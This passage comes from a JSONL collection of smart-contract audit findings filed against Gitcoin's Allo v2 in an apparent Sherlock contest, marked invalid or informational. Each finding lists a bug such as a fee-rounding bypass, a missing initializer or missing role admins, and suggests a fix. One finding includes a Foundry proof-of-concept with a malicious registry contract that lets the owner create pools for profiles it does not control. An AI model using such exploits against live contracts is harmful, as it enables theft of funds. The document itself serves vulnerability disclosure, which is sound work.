contract","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/575.md"}} +{"title":"ReentrancyGuardUpgradeable initializer has not been used in Allo initializer","severity":"info","body":"Polished Cyan Porpoise\n\nmedium\n\n# ReentrancyGuardUpgradeable initializer has not been used in Allo initializer\n\nMissing `ReentrancyGuardUpgradeable ` initializer \n\n## Vulnerability Detail\n\n\nContract `Allo` inherits `ReentrancyGuardUpgradeable ` as,\n\n```bash\ncontract Allo is IAllo, Native, Transfer, Initializable, Ownable, AccessControl, ReentrancyGuardUpgradeable,\n\n```\n In the `Allo::initializer` https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L87\n it hasn't used `__ReentrancyGuard_init` ,\n@dev has tested Allo.sol just with the implementation, \n\n```js\n function __AlloSetup(address _registry) internal {\n vm.startPrank(allo_owner());\n _allo_ = new Allo();\n _allo_.initialize(\n _registry, // _registry\n allo_treasury(), // _treasury\n 1e16, // _percentFee\n 0 // _baseFee\n }\n )\n```\n However in reality `Re-entrancyGurad-upgradable` is called in the context of the proxy, So this will result in Re-entrancyGuard not to function properly; \n\n\n\n## Impact\n\n `ReentrancyGuardUpgradeable` will not function correctly \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L38\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding ; \n\n```diff\n function initialize(address _registry, address payable _treasury, uint256 _percentFee, uint256 _baseFee)\n external\n reinitializer(1)\n {\n // Initialize the owner using Solady ownable library\n _initializeOwner(msg.sender);\n\n // Set the address of the registry\n _updateRegistry(_registry);\n\n // Set the address of the treasury\n _updateTreasury(_treasury);\n\n // Set the fee percentage\n _updatePercentFee(_percentFee);\n\n // Set the base fee\n _updateBaseFee(_baseFee);\n\n+ __ReentrancyGuard_init();\n\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/572.md"}} +{"title":"User can avoid having to pay fees when fund a pool","severity":"info","body":"Wobbly Topaz Puma\n\nmedium\n\n# User can avoid having to pay fees when fund a pool\nUser can split fund into smaller amount to avoid having to pay fees when fund a pool\n## Vulnerability Detail\nWhen a pool is created and someone want to fund it, they can call [`fundPool(uint256 _poolId, uint256 _amount)`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L339C5-L345C6) to deposit into the pool, and pool has a fee collection mechanism when user fund pool : `feeAmount = (_amount * percentFee) / getFeeDenominator()`. However, user can split fund and call `fundPool` multiple time with smaller amount. When a small enough amount and percentFee lead to `(_amount * percentFee)` small than `getFeeDenominator()` -> feeAmount will become 0.\n## Impact\nPool will lost the fee from user funding as intended\n## Code Snippet\n[fundPool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L339C5-L345C6)\n```solidity\n function fundPool(uint256 _poolId, uint256 _amount) external payable nonReentrant {\n // if amount is 0, revert with 'NOT_ENOUGH_FUNDS()' error\n if (_amount == 0) revert NOT_ENOUGH_FUNDS();\n\n\n // Call the internal fundPool() function\n _fundPool(_amount, _poolId, pools[_poolId].strategy);\n }\n```\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nSet a require for smallest amount user can fund that suitable with percentFee of pool, so this problem will not happen","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/571.md"}} +{"title":"ALLO_OWNER role cannot be assigned to other users due to lack an admin role","severity":"info","body":"Ambitious Lemonade Chipmunk\n\nhigh\n\n# ALLO_OWNER role cannot be assigned to other users due to lack an admin role\nALLO_OWNER role cannot be assigned to other users due to lack an admin role.\n\n## Vulnerability Detail\nThe Registry contract defines an ALLO_OWNER role and grants this role to the owner in the initialize() function. However, there is no designated admin for the ALLO_OWNER role, which prevents the ALLO_OWNER role from being assigned to other users.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L79-L85\n\n## Impact\nThere is only one owner. If this user wishes to exit the project, it is not possible to transfer the owner role to a new user.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L79-L85\n\n## Tool used\n\nManual Review\n\n## Recommendation\nSetting ALLO_OWNER to also be its own admin. _setRoleAdmin(ALLO_OWNER, ALLO_OWNER);","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/566.md"}} +{"title":"Protocol owner can create pools on behalf of any profile","severity":"info","body":"Urban Strawberry Monkey\n\nhigh\n\n# Protocol owner can create pools on behalf of any profile\nA protocol vulnerability allows the Allo owner to create pools on behalf of profiles.\n\nThis vulnerability can be easily exploited by temporarily substituting the protocol registry with a malicious one within a single transaction.\n\nAccording to [the project documentation](https://docs.allo.gitcoin.co/overview/project-registry#project-profiles), project profiles are essential as they represent on-chain identities capable of receiving funds, receiving attestations, or holding soul-bound tokens. Therefore, enabling a malicious actor to create a pool on behalf of a profile ID is a highly undesirable scenario.\n\n## Vulnerability Detail\nOnly profile owner or members can create pools on behalf of a project profile. This is enforced via check at the beginning of the `_createPool()` function in `Allo.sol`:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L424\n\nThe check is made via a call to the `registry` to ensure that `msg.sender` is permissioned to create a pool. However, there's a vulnerability where a malicious protocol owner could easily swap out the protocol registry temporarily within a single transaction. This loophole allows them to create a new pool on behalf of any given profile:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L213-L215\n\nNotably, the changes made through the updateRegistry() function take immediate effect and do not require approvals or a timelock mechanism, making this attack pretty straightforward to execute.\n\n## Impact\nThe protocol owner has the ability to create pools on behalf of any profile and take ownership of these pools. This control allows them to govern allocations and distributions within these pools.\n\n## Code Snippet\nI have created a simple PoC which demonstrates how the attack could be performed. Just create a new file `test/foundry/core/MaliciousAlloOwnerCanCreatePool.t.sol` and put the following content in it.\n\nUse `forge test -vvvv --match-test test_maliciousProtocolOwnerCreatesPoolOnBehalfOfProfile` to run the PoC:\n\n```solidity\n// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity ^0.8.19;\n\nimport \"forge-std/Test.sol\";\n\nimport {Ownable} from \"openzeppelin-contracts/contracts/access/Ownable.sol\";\nimport {IAllo} from \"../../../contracts/core/interfaces/IAllo.sol\";\nimport {IStrategy} from \"../../../contracts/core/interfaces/IStrategy.sol\";\nimport {IRegistry} from \"../../../contracts/core/interfaces/IRegistry.sol\";\nimport {AlloTest} from \"./Allo.t.sol\";\nimport {MockStrategy} from \"../../utils/MockStrategy.sol\";\n\ncontract MaliciousAlloOwnerCanCreatePool is AlloTest {\n\n function setUp() public override {\n super.setUp();\n }\n\n function test_maliciousProtocolOwnerCreatesPoolOnBehalfOfProfile() public {\n // As per AlloTest#setUp(), local() is the Allo owner. Executing all subsequent txns as allow owner.\n vm.startPrank(local()); \n\n // Save the address of the original registry, we would later update back to it\n IRegistry originalRegistry = allo().getRegistry();\n\n // Deploy a malicious registry and update allo to use it\n MaliciousRegistry maliciousRegistry = new MaliciousRegistry();\n allo().updateRegistry(address(maliciousRegistry));\n \n // Deploy a malicious strategy. Would use a MockStrategy for this PoC for simplicity\n // But essentially we could use any implementation that allocates and distributes in any arbitrary way\n address maliciousStrategy = address(new MockStrategy(address(allo())));\n\n // Create a pool on behalf of a profile.\n // We would use profile1_id() which is a valid profile ID registered in the original registry\n // (see RegistrySetup#__RegistrySetupFull())\n address[] memory noPoolManagersPlease = new address[](0);\n uint256 poolId = allo().createPoolWithCustomStrategy(profile1_id(), maliciousStrategy, \"0x\", address(token), 0, metadata, noPoolManagersPlease);\n\n // Change back registry to the original one\n allo().updateRegistry(address(originalRegistry));\n \n // Assert the protocol owner is the pool admin\n assertEq(true, allo().isPoolAdmin(poolId, local()));\n\n // Let's also show that local() is not an owner or a memeber of profile1 in the registry\n // Thus they should *NOT* be able to create pools on behalf of profile1.\n assertEq(false, originalRegistry.isOwnerOrMemberOfProfile(profile1_id(), local()));\n\n vm.stopPrank();\n }\n}\n\ncontract MaliciousRegistry {\n\n function isOwnerOrMemberOfProfile(bytes32 _profileId, address _account) external view returns (bool) {\n return true;\n }\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n- Consider using a timelock mechanism when updating critical protocol addresses that have a critical impact on the protocol (such as the registry);","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/564.md"}} +{"title":"Missing 0 Address Check Could Break Voting Threshold Requirement","severity":"info","body":"Huge Coal Copperhead\n\nmedium\n\n# Missing 0 Address Check Could Break Voting Threshold Requirement\n\nIn the contract `RFPCommitteeStrategy`, there's no check that the decoded `recipientId` is not 0 in line 115. If the `recipientId` is 0, then a single pool manager could allocate to 0 address repeatedly. In the second and subsequent votes, the `if` statement in line 109 would be `false`, so `votes[0]` would increment by 1 each time, until it reaches the `voteThreshold`, when the `acceptedRecipientId` will be set to 0 address. Essentially, a single pool manager could circumvent the voting threshold requirement and allocate funding to 0 address. This breaks the intended design that only a quorum of pool managers could determine allocation when they reach the voting threshold. \n\n## Vulnerability Detail\n\nThere's no input validation that pool manager cannot allocate to 0 address. \n\n## Impact\n\nVoting threshold requirement can be broken by a single pool manager\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102-L137\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd 0 address check to ensure that pool manager cannot allocate funding to 0 address.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/563.md"}} +{"title":"The remaining ether is not returned to the user","severity":"info","body":"Ambitious Lemonade Chipmunk\n\nmedium\n\n# The remaining ether is not returned to the user\nThe remaining ether is not returned to the user.\n\n## Vulnerability Detail\nBased on the provided code snippet, msg.value might indeed be greater than baseFee + _amount. Therefore, it's advisable to return any excess ether back to the user.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L484\n## Impact\nIf a user provides an excess amount of ether when creating a pool, this excess ether is locked in the Allo contract.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L484\n\n## Tool used\n\nManual Review\n\n## Recommendation\nCalculate the excess amount of ether sent by the user and return the surplus ether to the user.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/562.md"}} +{"title":"Even if msg.value is sufficient to cover the baseFee, it may still result in the failure of pool creation","severity":"info","body":"Ambitious Lemonade Chipmunk\n\nhigh\n\n# Even if msg.value is sufficient to cover the baseFee, it may still result in the failure of pool creation\nEven if msg.value is sufficient to cover the baseFee, it may still result in the failure of pool creation\n\n## Vulnerability Detail\nTo prevent deducting the baseFee from the Allo contract's balance, the comparison is done between the sum of baseFee + _amount and msg.value, or just between baseFee and msg.value if _token is not equal to NATIVE. However, if msg.value is equal to baseFee + _amount, it should be considered valid. An invalid condition occurs only when baseFee + _amount > msg.value.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478\n\nAdditionally, the above checks should also be performed when baseFee is not set to prevent paying the pool fund from the Allo contract's balance.\n\n## Impact\n1. Even if msg.value is sufficient to cover the baseFee, it may still result in the failure of pool creation.\n2. Pool fund may be payed from the Allo contract's balance.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478\n\n## Tool used\n\nManual Review\n\n## Recommendation\nchange to\n```solidity\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n } else {\n if ((_token == NATIVE) && (_amount > msg.value))\n revert NOT_ENOUGH_FUNDS();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/561.md"}} +{"title":"Excess ether did not return to the user","severity":"info","body":"Glamorous Amber Trout\n\nhigh\n\n# Excess ether did not return to the user\nContracts do not handle excess Ether (msg.value > amount) correctly, potentially locking user ethers. \n\n## Vulnerability Detail\nIn `_afterAllocate` function of the DonationVotingMerkleDistributionDirectTransferStrategy contract and DonationVotingMerkleDistributionVaultStrategy contract, when `msg.value > amount`, the excess ether will not be returned to the user.\nThis issue is also present in _transferAmountFrom function of the Transfer contract. \n\n## Impact\nExcess ether would be lock in contract forever.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L116-L118\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-direct-transfer/DonationVotingMerkleDistributionDirectTransferStrategy.sol#L54-L56\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L74\n\n## Tool used\nManual Review\n\n## Recommendation\nReturn excess ether to msg.sender, or require msg.value == amount","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/559.md"}} +{"title":"\"Pool Admin\" role cannot be assigned to other users due to lack an admin role","severity":"info","body":"Ambitious Lemonade Chipmunk\n\nhigh\n\n# \"Pool Admin\" role cannot be assigned to other users due to lack an admin role\n\"Pool Admin\" role cannot be assigned to other users due to lack an admin role\n\n## Vulnerability Detail\nIn a pool, there are two roles: POOL_MANAGER_ROLE and POOL_ADMIN_ROLE. POOL_ADMIN_ROLE serves as the administrator for POOL_MANAGER_ROLE. However, there is no administrative role designated for POOL_ADMIN_ROLE, which means that POOL_ADMIN_ROLE cannot be assigned to other users.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L429-L449\n\n## Impact\nIn the pool, there is only one admin user. If this user wishes to exit the project, it is not possible to transfer the admin privileges to a new manager.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L429-L449\n\n## Tool used\n\nManual Review\n\n## Recommendation\nSetting POOL_ADMIN_ROLE to also be its own admin. _setRoleAdmin(POOL_ADMIN_ROLE, POOL_ADMIN_ROLE);","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/558.md"}} +{"title":"Anchor can be manipulated by malicious users","severity":"info","body":"Ambitious Lemonade Chipmunk\n\nhigh\n\n# Anchor can be manipulated by malicious users\nAnchor can be manipulated by malicious users.\n\n## Vulnerability Detail\nWhen a Profile is created, the _generateAnchor() function is called to deploy an Anchor contract. In this process, _name is a user-provided parameter, and profileId is calculated based on the user's address and the provided _nonce value.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L136-L143\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L358-L360\n\nWhen deploying the Anchor contract, the preCalculatedAddress of the Anchor contract can be computed based on the values of _profileId and _name. Subsequently, the code checks if a contract has already been deployed at this address. If a contract has been deployed and its profileId matches the precomputed profileId, then it is considered a valid contract (lines 341-344).\"\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L335-L352\n\nThis will lead to serious issues. The preCalculatedAddress is determined based on three values: msg.sender, _name, and _nonce. Malicious users can impersonate legitimate users and deploy malicious Anchor contracts. For example, if Alice is a legitimate user and Bob is a malicious user, and Bob knows Alice's address and can guess or obtain Alice's _name value (usually _name represents the project name, making it guessable), then Bob can pre-deploy a malicious Anchor contract. When Alice creates a Profile, it may inadvertently use Bob's malicious contract.\n\n## Impact\nDue to the manipulation of the execute() function in the Anchor contract by malicious users, legitimate users may inadvertently execute malicious execute() functions.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L335-L352\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIf an Anchor contract has already been deployed at the precomputed address, do not use that contract. Instead, revert with an ANCHOR_ERROR(). It is advisable for the user to change their nonce value and deploy a new Anchor contract.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/557.md"}} +{"title":"If the basefee is not equal to 0, the sender pays more eth than they should","severity":"info","body":"Expert Olive Cow\n\nmedium\n\n# If the basefee is not equal to 0, the sender pays more eth than they should\nIf the basefee is not equal to 0, the sender pays more eth than they should\n## Vulnerability Detail\n```c\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n if (!registry.isOwnerOrMemberOfProfile(_profileId, msg.sender)) revert UNAUTHORIZED();\n\n poolId = ++_poolIndex;\n\n // Generate the manager & admin roles for the pool (this is the way we do this throughout the protocol for consistency)\n bytes32 POOL_MANAGER_ROLE = bytes32(poolId);\n bytes32 POOL_ADMIN_ROLE = keccak256(abi.encodePacked(poolId, \"admin\"));\n\n // Create the Pool instance\n Pool memory pool = Pool({\n profileId: _profileId,\n strategy: _strategy,\n metadata: _metadata,\n token: _token,\n managerRole: POOL_MANAGER_ROLE,\n adminRole: POOL_ADMIN_ROLE\n });\n\n // Add the pool to the mapping of created pools\n pools[poolId] = pool;\n\n // Grant admin roles to the pool creator\n _grantRole(POOL_ADMIN_ROLE, msg.sender);\n\n // Set admin role for POOL_MANAGER_ROLE\n _setRoleAdmin(POOL_MANAGER_ROLE, POOL_ADMIN_ROLE);\n\n // initialize strategies\n // Initialization is expected to revert when invoked more than once with 'ALREADY_INITIALIZED()' error\n _strategy.initialize(poolId, _initStrategyData);\n\n if (_strategy.getPoolId() != poolId || address(_strategy.getAllo()) != address(this)) revert MISMATCH();\n\n // grant pool managers roles\n uint256 managersLength = _managers.length;\n for (uint256 i; i < managersLength;) {\n address manager = _managers[i];\n if (manager == address(0)) revert ZERO_ADDRESS();\n\n _grantRole(POOL_MANAGER_ROLE, manager);\n unchecked {\n ++i;\n }\n }\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n```\n\nas can se here\n\n```c\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```\n\nAs can be seen here, this check that if basefee >= msg.value, this reverts. Hence, the user should provide msg.value more than basefee, when it should be msg.value = baseFee.\n## Impact\npay more that should be \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n## Tool used\n\nManual Review\n\n## Recommendation\nchange \n\n```c\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```\n\nfor\n\n```c\n if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/554.md"}} +{"title":"Unchecked return value in `Allo._fundPool`","severity":"info","body":"Glamorous Amber Trout\n\nmedium\n\n# Unchecked return value in `Allo._fundPool`\nUnchecked return value in `Allo._fundPool`\n\n## Vulnerability Detail\nA vulnerability is present due to the \"unchecked return value\" in _transferAmountFrom function calls. This vulnerability arises from the lack of proper error handling and verification of the return values of these transfer operations.\n\n## Impact\nThe vulnerability in the _fundPool function, where _transferAmountFrom failures are not appropriately handled, as we can see that _transferAmountFrom() returns bool value, this allows users to potentially exploit it to their advantage. While the function emits the \"PoolFunded\" event even in the case of transfer failures, users may not actually transfer their tokens as intended. This could create a misleading situation where the contract emits a success event, giving the impression that the transaction was successful, when in fact, tokens were not transferred.\n\n## Code Snippet\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n \n //@audit unchecked return value\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n //@audit unchecked return value\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L513\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516\n\nTransfer:_transferAmountFrom:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L70\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd success check or use in `require` statment","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/553.md"}} +{"title":"The `Allo::_fundPool()` function does not verify the `msg.value` must be equal to the specified `amount` parameter","severity":"info","body":"Brief Mahogany Tiger\n\nmedium\n\n# The `Allo::_fundPool()` function does not verify the `msg.value` must be equal to the specified `amount` parameter\n\nThe `Allo::_fundPool()` function does not verify the `msg.value` is equal to the `amount` parameter. Users who interact with the function may depost a higher `msg.value` than the `amount` parameter causing the lost of funds.\n\n## Vulnerability Detail\n\nThe function [Allo::_fundPool()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502C14-L502C23) helps to deposit funds to the pool. The problem is that the function does not verify that the `msg.value` is the same than the `amount` parameter:\n\n```solidity\nFile: Allo.sol\n502: function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n503: uint256 feeAmount;\n504: uint256 amountAfterFee = _amount;\n505: \n506: Pool storage pool = pools[_poolId];\n507: address _token = pool.token;\n508: \n509: if (percentFee > 0) {\n510: feeAmount = (_amount * percentFee) / getFeeDenominator();\n511: amountAfterFee -= feeAmount;\n512: \n513: _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n514: }\n515: \n516: _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n517: _strategy.increasePoolAmount(amountAfterFee);\n518: \n519: emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n520: }\n```\n\n## Impact\n\nUser may lose funds sending more `NATIVE` token (`msg.value`) than the specified `amount` parameter. \n\n\n## Code Snippet\n\n- [Allo::_fundPool()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502C14-L502C23)\n\n## Tool used\n\nManual review\n\n## Recommendation\n\nVerify that the `msg.value` should be less or equal to the `amount` parameter value:\n\n```diff\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n++ if (_token == NATIVE && msg.value > _amount) revert();\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/551.md"}} +{"title":"lack payable in execute()","severity":"info","body":"Expert Olive Cow\n\nmedium\n\n# lack payable in execute()\n Missing payable prevents users from executing transactions that requires ether.\n## Vulnerability Detail\n```c\n function execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n // Check if the caller is the owner of the profile and revert if not\n if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n\n // Check if the target address is the zero address and revert if it is\n if (_target == address(0)) revert CALL_FAILED();\n\n // Call the target address and return the data\n (bool success, bytes memory data) = _target.call{value: _value}(_data);\n\n // Check if the call was successful and revert if not\n if (!success) revert CALL_FAILED();\n\n return data;\n }\n\n```\n\nAs can be seen, the function execute lacks the payable , although the contract has the receive() external payable {} function to receive ether. This can allow a front-running attack if a user sends ether and then calls execute\n## Impact\nexecute can revert when _value =! 0\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L70\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L78\n## Tool used\n\nManual Review\n\n## Recommendation\nadd payable in execute function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/550.md"}} +{"title":"`QVSimpleStrategy` don't support native token","severity":"info","body":"Rhythmic Marigold Jay\n\nmedium\n\n# `QVSimpleStrategy` don't support native token\n`QVSimpleStrategy` don't support native token, native token transfer will fail.\n## Vulnerability Detail\n In `QVBaseStrategy` and `QVSimpleStrategy` , there is no `receive() external payable {}` , so `_fundpool` will fail if using native token. \n## Impact\n`QVSimpleStrategy` don't support native token\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L1-L152\n## Tool used\n\nManual Review\n\n## Recommendation\nadd \n`receive() external payable {}` in `QVBaseStrategy` or 